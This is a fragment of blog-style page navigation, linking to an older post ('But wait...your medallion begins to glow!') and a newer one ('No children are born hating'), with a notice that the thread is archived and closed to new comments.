« Older But wait...your medallion begins to glow!   |   No children are born hating Newer »


This thread has been archived and is closed to new comments